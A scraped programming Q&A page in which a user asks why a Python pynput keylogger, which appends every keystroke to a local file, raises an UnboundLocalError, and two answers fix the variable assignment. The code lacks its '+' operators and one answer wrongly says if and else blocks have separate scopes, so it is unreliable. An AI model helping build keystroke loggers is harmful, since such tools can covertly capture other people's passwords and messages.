Home > Back-end >  UnboundLocalError local variable 'K' referenced before assignment
UnboundLocalError local variable 'K' referenced before assignment

Time:06-26

So i wanted to create a keylogger with python and i get this error, checked some threads already and they said i should use global but my variable is defined for different things twice and if i use global, it wouldn't be able to do it

from pynput import keyboard

def KeyInput():
    with keyboard.Listener(on_press=KeyLog) as listener:
        # whenever there is a press on a key on the keyboard, it's directed to KeyLog function
        listener.join()
def KeyLog(key):
    if type(key) == keyboard._win32.KeyCode:
        K = key.char
        # normal characters like letters
    else:
        # keys like ctrl, caps lock, windows, etc
        if 'cmd' in str(key):
            str(key).replace('cmd', 'Windows')
        else:
            K = ' ' str(key) ' '
    data = str(K)
    with open('keylogs.txt', 'a') as File:
        File.write(data '\n')
        File.close()
KeyInput()
KeyLog()

CodePudding user response:

Looks like you forgot to assign the result of str(key).replace. Do:

    if type(key) == keyboard._win32.KeyCode:
        K = key.char
        # normal characters like letters
    else:
        # keys like ctrl, caps lock, windows, etc
        if 'cmd' in str(key):
            K = str(key).replace('cmd', 'Windows')  # <-- assign to K
        else:
            K = ' ' str(key) ' '
    data = str(K)
    with open('keylogs.txt', 'a') as File:
        File.write(data '\n')
        File.close()

and now K has a value in each of your if/else branches.

Better yet (IMO), since you already convert K to a str in two out of the three branches, and then re-convert it to make sure data is a str before you write it, just set data to a str value in all three branches and then you don't need the extra variable:

    if isinstance(key, keyboard._win32.KeyCode):
        # normal characters like letters
        data = str(key.char)
    else:
        # keys like ctrl, caps lock, windows, etc
        if 'cmd' in str(key):
            data = str(key).replace('cmd', 'Windows')
        else:
            data = f' {key} '
    with open('keylogs.txt', 'a') as file:
        file.write(data '\n')

Note that if you open() a file using with, the close() is unnecessary because it gets called automatically after the with context ends.

CodePudding user response:

K variable is local to the if statement (actually, there are 2 different variables with the some name, one inside if scope, and a different one inside else). You should define K outside of this statement and initialize it with some empty value. Something like this:

def KeyLog(key):
    K = ''
    if type(key) == keyboard._win32.KeyCode:
        K = key.char
    else:
        if 'cmd' in str(key):
            K = str(key).replace('cmd', 'Windows')
        else:
            K = ' ' str(key) ' '
    data = str(K)
    with open('keylogs.txt', 'a') as File:
        File.write(data '\n')
        File.close()

Looks unnecesary, but this way K exists outside the if scope so it should be ok to acces it in str(K).

  • Related